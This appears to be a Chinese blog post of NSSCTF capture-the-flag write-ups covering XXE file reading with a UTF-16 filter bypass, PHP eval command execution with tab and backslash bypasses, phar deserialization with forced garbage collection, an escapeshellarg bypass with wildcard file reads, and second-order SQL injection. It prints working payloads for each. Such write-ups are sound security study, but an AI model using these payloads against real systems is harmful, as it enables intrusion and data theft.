当前位置: 首页 > news >正文

NSSCTF第12页(2)

[CSAWQual 2019]Unagi

是xxe注入,等找时间会专门去学一下

   XML外部实体(XXE)注入 - 知乎

【精选】XML注入学习-CSDN博客

【精选】XML注入_xml注入例子-CSDN博客

题目描述说flag在/flag下

发现有上传点,上传一句话木马试试

文件类型不行

看见提示说在链接处得到上传例子

You can check out the format example here

发现是xml文件格式

看到这里就有了整体的思路,就是要用xxe注入,上传xml格式文件

通用模板

 <?xml version="1.0"?>

<!DOCTYPE  ANY [ <!ENTITY entityex SYSTEM "file:///"etc/password"> ]>

下边接题中所给的user

因为给了flag文件的路径,所以直接用/flag

payload:

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

发现还是没绕过防火墙

看wp才知道要用utf-16编码

kali 命令-编码转换

iconv -f utf8 -t utf16 1.xml>2.xml

上传得到flag

[FSCTF 2023]EZ_eval 

rce,正则限制了好多

cp 命令详解_cp命令-CSDN博客

以为cp可以利用,但是发现不行

题目是eval,利用eval函数执行php代码

关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了

可以用php短标签,有三种方式:

    ​<? echo '123';?> #前提是开启配置参数short_open_tags=on​​

    ​<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。​​

    ​<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用​​

这里利用到了一个没学过的函数passsthru()

PHP系统程序执行函数(system,passthru,exec)简单分析(附代码)-php教程-PHP中文网

php system执行shell,php命令执行函数–shell_exec()、passthru()、exec()、system()与防止命令执行漏洞函数..._周行文的博客-CSDN博客 

passthru

— 执行外部程序并且显示原始输出

void passthru ( string $command [, int &$return_var ] )

范例

<?phppassthru("ls");
?>

执行结果:

index.phptest.php

payload :

 /?word=​<script%09language="php">passthru("ta\c%09/f*");

用%09绕过空格,其它的我都试了一遍,没绕过

用\绕过tac的限制

*通配符绕过flag的关键字

得到flag

prize_p1

代码审计一下

 首先有getflag类,内容就是输出$FLAG,触发条件为__destruct;然后就是A类的文件写入和读取。最后就是对GET[0]的关键字判断,通过后反序列化GET[0]。

prize1 | bilala's blog  参考wp

 思路:

因为正则过滤了flag,所以无法直接触发getflag类;转眼去看A类,既然有任意内容写入+任意文件读取+类,优先考虑phar反序列化

那我们就先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag 

绕过preg_match,可以采用数组绕过的方法

这道题主要有两个考点————————>Phar反序列化 和强制GC销毁类

浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 码农教程 

从一道题再看phar的利用-安全客 - 安全资讯平台 

关键绕过:

throw Error使得我们的类没有被销毁,所以如何触发__destruct方法成为了一个问题 

在写入文件时,我们需要带入的getflag类中还是包含了flag这个关键字,还是会被拦住。所以我们还需要想办法绕过这个关键字,同时还得保证phar://读取时仍可以反序列化其中的数据

强制GC触发__destruct

在PHP中,正常触发析构函数(__destruct)有三种方法:

①程序正常结束

②主动调用unset($aa)

③将原先指向类的变量取消对类的引用,即$aa = 其他值;

前两种很好理解,我们来讲讲第三种

PHP中的垃圾回收Garbage collection机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

class bilala{

    public function __construct($count){

        $this->count = $count;

    }

    public function __destruct(){

        echo $this->count."destruct触发";

    }

}

$aa = new bilala(1);

//这里的bilala对象就不是垃圾,因为他被$aa所引用

new bilala(2);

//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)

echo PHP_EOL."**********************************".PHP_EOL;

$aa = new bilala(3);

//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构

echo PHP_EOL."**********************************".PHP_EOL;

//程序结束,触发析构

所以在这道题中,我们可以利用取消原本对getflag的引用,从而触发他的析构函数。 

操作如下,在phar的metadata中写入的内容为a:2:{i:0;O:7:"getflag":0:{}i:0;N;}

这样的话,当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发他的析构函数,从而获得flag

参考wp写的很详细,就不一一赘述了,PHP反序列化需要很深的功底才能学的好

010editor中修改,将对应的位由1改成0,然后保存 

 phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名,查看PHP手册找到phar的签名格式

 我们刚刚的phar的签名标志位为0x0002,为SHA1签名,所以我们要计算的是出的字节是[-28:-8],用脚本计算我们新的phar文件的签名,并重新写入文件(也可以导出为新文件)

可以对phar.phar文件做以上这些处理,使其成为乱码,从而绕过关键字的检测。

gzip

直接在Linux中gzip压缩一下,然后通过POST[0]上传这个文件,再读取flag

脚本执行,得到flag

 [广东强网杯 2021 团队组]love_Pokemon

人傻了

 获得hint.php的条件就是先满足switch这个循环 当满足case为 bulbasaur! 的时候它才会去执行下面这个匹配函数

 

那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100

这里就是一个escapeshellarg() 的考点

escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串

那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)

paylaod:myfavorite=bulbasaur!&levelup=lv%81100

得到提示:

 

想获得flag那我们就要去找输出口 显然shell_exec()就是我们需要的函数 

 

那么这里有个条件就是 post传入的dream的长度不能超过20字节

那我们直接传入dream=cat /FLAG 肯定是不行的,因为上边存在过滤

把flag(大小写)和空格一些字符都过滤了那么这里的重点就是如何绕过 

读取文件:

使用od命令

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

如何绕过FLAG

这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符

最终的payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G 

得到八进制

转换成10进制得到flag

 [October 2019]Twice SQL Injection

是sql二次注入

 SQL注入之二次注入_吃花椒地喵酱的博客-CSDN博客

 首先我们尝试注册,登录都使用sql语句

发现没任何卵用

 

发现用admin成功注册进到主页

 

注入 1' or 1=1# 

 

发现回显:

因此我们可以通过注册+登录,来注册恶意的用户名(就是将sql语句当用户名写入数据库中) 

先进行注册

用户名:1' union select database()#

密码:1(下边密码都是这个)

登录发现了数据库名

接着就是用这种方式进行注入

查表

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

 

查列

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

 

查字段内容

 1' union select flag from flag#

得到flag

 

 

 

 

 

 

 

 

 

相关文章:

NSSCTF第12页(2)

[CSAWQual 2019]Unagi 是xxe注入&#xff0c;等找时间会专门去学一下 XML外部实体&#xff08;XXE&#xff09;注入 - 知乎 【精选】XML注入学习-CSDN博客 【精选】XML注入_xml注入例子-CSDN博客 题目描述说flag在/flag下 发现有上传点&#xff0c;上传一句话木马试试 文件…...

基于单片机的电源切换控制器设计(论文+源码)

1.系统设计 在基于单片机的电源切换控制器设计中&#xff0c;系统功能设计如下&#xff1a; &#xff08;1&#xff09;实现电源的电压检测&#xff1b; &#xff08;2&#xff09;如果电压太高&#xff0c;通过蜂鸣器进行报警提示&#xff0c;继电器进行切换&#xff0c;使…...

机器学习-特征选择:使用Lassco回归精确选择最佳特征

机器学习-特征选择:使用Lassco回归精确选择最佳特征 一、Lasso回归简介1.1 Lasso回归的基本原理1.2 Lasso回归与普通最小二乘法区别二、特征选择的方法2.1 过滤方法2.2 包装方法2.3 嵌入方法三、Lasso的特征选择流程3.1 数据预处理3.2 划分训练集和测试集3.3 搭建Lasso回归模型…...

uniapp开发ios上线(在win环境下使用三方)

苹果 1、win环境下无法使用苹果os编译器所以使用第三方上传工具&#xff0c;以下示例为 初雪云 &#xff08;单次收费&#xff0c;一元一次&#xff09; 初雪云&#xff08;注册p12证书&#xff09;&#xff1a;https://www.chuxueyun.com/#/pages/AppleCertificate 苹果开发者…...

【深度学习 | 核心概念】那些深度学习路上必经的核心概念,确定不来看看? (六)

&#x1f935;‍♂️ 个人主页: AI_magician &#x1f4e1;主页地址&#xff1a; 作者简介&#xff1a;CSDN内容合伙人&#xff0c;全栈领域优质创作者。 &#x1f468;‍&#x1f4bb;景愿&#xff1a;旨在于能和更多的热爱计算机的伙伴一起成长&#xff01;&#xff01;&…...

景联文科技:驾驭数据浪潮,赋能AI产业——全球领先的数据标注解决方案供应商

根据IDC相关数据统计&#xff0c;全球数据量正在经历爆炸式增长&#xff0c;预计将从2016年的16.1ZB猛增至2025年的163ZB&#xff0c;其中大部分是非结构化数据&#xff0c;被直接利用&#xff0c;必须通过数据标注转化为AI可识别的格式&#xff0c;才能最大限度地发挥其应用价…...

OpenCV+特征检测

检测 函数cv.cornerHarris()。其参数为&#xff1a; img 输入图像&#xff0c;应为灰度和float32类型blockSize是拐角检测考虑的邻域大小ksize 使用的Sobel导数的光圈参数k 等式中的哈里斯检测器自由参数 import numpy as np import cv2 as cv filename chessboard.png img…...

Excel-lookup函数核对两个表格的数据匹配

需求描述&#xff1a;把右侧表格里的成绩按照姓名匹配到左表中 D11函数为LOOKUP(1,0/($H$11:$H$26A11),I$11:I$26) 然后下拉赋值公式&#xff0c;那么得到的值就都是对应的...

Vue 简单的语法

1.插值表达式 1.插值表达式的作用是什么&#xff1f; 利用表达式进行插值&#xff0c;将数据渲染到页面中&#xff1b; 2.语法结构&#xff1f; {{表达式}} 3.插值表达式的注意点是什么&#xff1f; &#xff08;1&#xff09;使用的数据要存在&#xff0c;在data中&…...

华为ensp:vrrp双机热备负载均衡

现在接口ip都已经配置完了&#xff0c;直接去配置vrrp r1上192.168.1.100 作为主 192.168.2.100作为副 r2上192.168.1.199 作为副 192.168.2.100作为主 这样就实现了负载均衡&#xff0c;如果两个都正常运行时&#xff0c;r1作为1.1的网关&#xff0c;r2作为2.1网关…...

postswigger 靶场(CSRF)攻略-- 1.没有防御措施的 CSRF 漏洞

靶场地址&#xff1a; What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy (portswigger.net)https://portswigger.net/web-security/csrf 没有防御措施的 CSRF 漏洞 题目中已告知易受攻击的是电子邮件的更改功能&#xff0c;而目…...

Langchain知识点(下)

原文&#xff1a;Langchain知识点&#xff08;下&#xff09; - 知乎 代码汇总到&#xff1a; https://github.com/liangwq/Chatglm_lora_multi-gpu/tree/main/APP_example/langchain_keypoint​github.com/liangwq/Chatglm_lora_multi-gpu/tree/main/APP_example/langchain_…...

百度飞浆环境安装

前言&#xff1a; 在安装飞浆环境之前得先把pytorch环境安装好&#xff0c;不过关于pytorch网上教程最多的都是通过Anaconda来安装&#xff0c;但是Anaconda环境安装容易遇到安装超时导致安装失败的问题&#xff0c;本文将叫你如何通过pip安装的方式快速安装&#xff0c;其实这…...

云效流水线docker部署 :node.js镜像部署VUE项目

文章目录 引言I 流水线配置1.1 项目dockerfile1.2 Node.js 镜像构建1.3 docker 部署预备知识引言 云效流水线配置实现docker 部署微服务项目:https://blog.csdn.net/z929118967/article/details/133687120?spm=1001.2014.3001.5501 配置dockerfile-> 镜像构建->docke…...

软件工程理论与实践 (吕云翔) 第五章 面向对象方法与UML课后习题及其答案解析

第五章 面向对象方法与UML 面向对象方法与UML 1.判断题 &#xff08;1&#xff09;UML是一种建模语言&#xff0c;是一种标准的表示&#xff0c;是一种方法。( √ ) &#xff08;2&#xff09;类图用来表示系统中的类和类与类之间的关系&#xff0c;它是对系统动态结构的描述…...

三层架构java _web

...

微信小程序项目——基本目录构成

基本构成 pages 用来存放所有小程序的页面&#xff1b;utils 用来存放工具性质的模块&#xff08;比如&#xff1a;格式化时间的自定义模块&#xff09;&#xff1b;app.js 小程序项目的入口文件&#xff1b;app.json小程序项目的全局配置文件&#xff1b;app.wxss 小程序项目…...

python 基础语法 (常常容易漏掉)

同一行显示多条语句 python语法中要求缩进&#xff0c;但是同一行可以显示多条语句 在 Python 中&#xff0c;可以使用分号 (;) 将多个语句放在同一行上。这样可以在一行代码中执行多个语句&#xff0c;但需要注意代码的可读性和维护性。 x 5; y 10; z x y; print(z) 在…...

servlet 的XML Schema从哪边获取

servlet 6.0的规范定义&#xff1a; https://jakarta.ee/specifications/servlet/6.0/ 其中包含的三个XML Schema&#xff1a;web-app_6_0.xsd、web-common_6_0.xsd、web-fragment_6_0.xsd。但这个页面没有给出下载的链接地址。 正好我本机有Tomcat 10.1.15版本的源码&#…...

CPU vs GPU:谁更适合进行图像处理?

CPU 和 GPU 到底谁更适合进行图像处理呢&#xff1f;相信很多人在日常生活中都会接触到图像处理&#xff0c;比如修图、视频编辑等。那么&#xff0c;让我们一起来看看&#xff0c;在这方面&#xff0c;CPU 和 GPU 到底有什么不同&#xff0c;哪个更胜一筹呢&#xff1f; 一、C…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题&#xff1a; 下面创建一个简单的Flask RESTful API示例。首先&#xff0c;我们需要创建环境&#xff0c;安装必要的依赖&#xff0c;然后…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析

这门怎么题库答案不全啊日 来简单学一下子来 一、选择题&#xff08;可多选&#xff09; 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘&#xff1a;专注于发现数据中…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路

进入2025年以来&#xff0c;尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断&#xff0c;但全球市场热度依然高涨&#xff0c;入局者持续增加。 以国内市场为例&#xff0c;天眼查专业版数据显示&#xff0c;截至5月底&#xff0c;我国现存在业、存续状态的机器人相关企…...

在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module

1、为什么要修改 CONNECT 报文&#xff1f; 多租户隔离&#xff1a;自动为接入设备追加租户前缀&#xff0c;后端按 ClientID 拆分队列。零代码鉴权&#xff1a;将入站用户名替换为 OAuth Access-Token&#xff0c;后端 Broker 统一校验。灰度发布&#xff1a;根据 IP/地理位写…...

拉力测试cuda pytorch 把 4070显卡拉满

import torch import timedef stress_test_gpu(matrix_size16384, duration300):"""对GPU进行压力测试&#xff0c;通过持续的矩阵乘法来最大化GPU利用率参数:matrix_size: 矩阵维度大小&#xff0c;增大可提高计算复杂度duration: 测试持续时间&#xff08;秒&…...

多种风格导航菜单 HTML 实现(附源码)

下面我将为您展示 6 种不同风格的导航菜单实现&#xff0c;每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

用docker来安装部署freeswitch记录

今天刚才测试一个callcenter的项目&#xff0c;所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

C++课设:简易日历程序(支持传统节假日 + 二十四节气 + 个人纪念日管理)

名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 专栏介绍:《编程项目实战》 目录 一、为什么要开发一个日历程序?1. 深入理解时间算法2. 练习面向对象设计3. 学习数据结构应用二、核心算法深度解析…...

Linux系统部署KES

1、安装准备 1.版本说明V008R006C009B0014 V008&#xff1a;是version产品的大版本。 R006&#xff1a;是release产品特性版本。 C009&#xff1a;是通用版 B0014&#xff1a;是build开发过程中的构建版本2.硬件要求 #安全版和企业版 内存&#xff1a;1GB 以上 硬盘&#xf…...